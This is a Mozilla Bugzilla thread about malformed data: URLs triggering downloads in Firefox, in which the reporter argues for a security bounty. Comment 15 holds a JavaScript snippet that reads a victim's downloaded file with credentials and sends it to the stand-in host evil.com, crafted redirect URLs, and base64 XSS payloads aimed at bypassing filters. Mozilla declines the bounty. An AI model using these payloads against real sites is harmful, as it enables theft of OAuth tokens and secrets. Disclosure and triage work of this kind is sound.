data: url with invalid (malformed) content type should be treated as invalid
Categories
(Core :: Networking, defect, P3)
Tracking
()
People
(Reporter: ankitsingh1579, Unassigned)
Details
(Keywords: reporter-external, Whiteboard: [necko-backlog])
| Reporter | ||
Comment 1•9 years ago
|
||
| Reporter | ||
Comment 2•9 years ago
|
||
Updated•9 years ago
|
| Reporter | ||
Comment 3•9 years ago
|
||
Comment 4•9 years ago
|
||
| Reporter | ||
Comment 5•9 years ago
|
||
| Reporter | ||
Comment 6•9 years ago
|
||
Comment 7•9 years ago
|
||
Comment 8•9 years ago
|
||
| Comment hidden (metoo) |
| Comment hidden (metoo) |
Comment 11•6 years ago
|
||
Hello Reporter,
Having a quick look, download behavior doesn't happen for most of the cases in your PoC.
Any URL still triggers download in your mind?
| Reporter | ||
Comment 12•6 years ago
|
||
Hello Junior,
Thank you for your response.
Yes, you're absolutely correct, this issue is not reproducible anymore because it looks now it has been fixed by Mozilla. When I reported this on
4 Nov 2016, the issue for all of my reported URLs was there. Afterwards I last checked on version 63.0.3 where the issue was still reproducible. Then I checked on 64.0.2 and here the issue was fixed. Means, for the versions 63.0.3 (and a little before 64.0.2) and older this issue is applicable.
Today I checked on the latest Android Mozilla browser and there also I found this to be fixed while on older versions it was there as reported.
Also, the time I reported I wasn't able to demonstrate exactly how this was a security issue. But later on I found many issues last year in 2019 using this flaw, such as stealing Oauth Token and Exploiting Redirects etc. As an example you can see this private video where I demonstrated how an attacker could have stolen Harvest Oauth token using this flaw -> https://youtu.be/nRNwFHDoPw4
I have more such PoC videos that I reported to different companies where I demonstrated other sort of creative attacks which could have been leveraged using this flaw and they accepted the bug as valid. Do let me know if you'd want those other video PoCs as well to judge whether to consider this one as a security issue.
So finally since this reported issue has been fixed, I would like to know the Mozilla's bounty decision regarding it because this could have led to attacks like Oauth Token stealing & Invalidated Redirects if the scheme/protocol value within the URL was not validated by the application.
I'm looking forward for you response.
Thank you,
Ankit Singh
Comment 13•6 years ago
|
||
I'd like to mark this resolved.
Please file another bug if you'd like to address other issue.
As of the bounty decision, please flag sec-bounty?
Thanks.
| Reporter | ||
Updated•6 years ago
|
| Reporter | ||
Comment 14•6 years ago
|
||
Hello Junior,
As you asked I've marked the sec-bounty? flag.
Also may I know have you watched the provided video demonstrating Oauth Token Steal ? Or do you need any additional information regarding leveraging this flaw to Oauth Token Steal ?
Thank you,
Ankit Singh
| Reporter | ||
Comment 15•6 years ago
|
||
Hello @Junior & Mozilla Security Team,
Here I'm explaining in detail what makes it a security issue. To judge it for being a security issue or not, I'll request you to consider the last provided unlisted youtube video only regarding stealing Harvest Oauth token (https://youtu.be/nRNwFHDoPw4). And please ignore the Udemy Stored XSS & LastPass Stored XSS PoC video I specified back at the time when I reported.
Description -:
So basically using this flaw, earlier I found that any GET request which might be passing any sensitive token such as Oauth or CSRF tokens, any secret or api keys in the URL then that could be stolen using this reported flaw of Mozilla.
Explanation -:
As I initially reported, that using this flaw I observed that a file download is triggered if you visit data://,xxxxx (or data:/,xxxxx) in the URL bar. The downloaded file would contain any string after the , (comma) character. Means, xxxxx in the case of data://,xxxxx. So basically, slash character would trigger the download (because of invalid/malformed content type specification as per Data URIs), while , (comma) character specifies what the download file would contain.
Now let's consider an application target.com which redirects only to it's whitelisted client of site.com by providing them with any secret key. Means requesting the following URL -:
https://target.com/path?redirect_uri=http://site.com/abc
Responses with a redirect towards -:
http://site.com/abc?secret_key=xxxxxxxxx
Now, while making the initial request, target.com has whitelisted it's redirect_uri param to only accept http://site.com/abc. Any value other than this is NOT accepted. Now consider that the only partial validation target.com possess on this redirect_uri param value, is that it's partially validating the scheme/protocol. It's only checking that scheme/protocol should only be a four character alphabetic string without any special characters or numeric values. Means at the place of xxxx within ?redirect_uri=xxxx://site.com/abc, you can specify any 4 character length alphabetic string only. No special character (not even . dot or : colon character) and no digit/numeric character.
In such a scenario it's not possible to steal the secret_key by exploiting the redirect_uri to perform a redirect towards evil.com (attacker's owned site) so as to capture the value of secret_key. The only possible way is via this reported Data URI flaw. Means, what if we change the initial GET request to -:
https://target.com/path?redirect_uri=data://site.com/abc?param=,zzzzz
which would redirect to -:
data://site.com/abc?param=,zzzzz&secret_key=xxxxxxxxx
Now as a response, at Mozilla, we would get a file download prompt. The GET parameter param is any fake parameter that we additionally specified from our side. The forward slashes in data://site.com/abc?param=,zzzzz triggered the download (because of invalid/malformed content type specification as per Data URIs) and downloaded file would contain the string after the , (comma) character, means zzzzz&secret_key=xxxxxxxxx in this case.
Please note that the downloaded file has no extension, so upon opening it is accepted with text/html content type resulting in properly running the JavaScript or HTML within the file.
Now we are able to trigger the download containing the secret_key within the victim's system. But the point is we want to sent the value of secret_key to attacker's sever. So for that we can craft the initial GET request to -:
which would redirect to -:
Now as a response, at Mozilla, we would get a file download prompt. The file would contain content as -:
Which upon opening at ANY BROWSER will execute the script, and victim would be prompted with It's Dark Outside !! and parallely http://evil.com/final.js is requested which contains the following script -:
var i = window.location.href; function post(p){ var text = ""; text = "http://evil.com/logs/?"+p; var i = document.createElement("img"); i.src = text; return null; } exploit(); function exploit(){ var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function(){ if (this.readyState ==4 && this.status == 200){ document.getElementById("mypoc").innerHTML = post(this.responseText); } }; xhttp.open("GET", i, true); xhttp.withCredentials = true; xhttp.send(); }
This script will send all the content of downloaded file to attacker's owned http://evil.com/logs and secret_key of victim would be stolen.
Further Bypasses -:
What if the target.com makes use of any XSS filters or maybe uses X-XSS-Protection: 1 as one of the header in their responses ? Then in such cases following will be detected and will not work -:
OR
So to bypass in such cases we can make use of -:
https://target.com/path?redirect_uri=data://site.com/abc?param=,%3Cscript%3Ealert(5)%3C/script%3E
https://target.com/path?redirect_uri=data://site.com/abc?param=;base64,PHNjcmlwdD5hbGVydCgyKTwvc2NyaXB0Pg== (This one is better :D)
Thank you,
Ankit Singh
| Comment hidden (metoo) |
| Comment hidden (metoo) |
Comment 18•6 years ago
|
||
Any invalid data: URL will result in a download -- for example data:application/octet-stream;base64,<stuff>. You can't prevent that, we can't prevent that.
Now consider that the only partial validation target.com possess on this redirect_uri param value, is that it's partially validating the scheme/protocol. It's only checking that scheme/protocol should only be a four character alphabetic string without any special characters or numeric values.
That would be foolish on the web site's part. We are not going to award a bounty on this.
Updated•2 years ago
|
Description
•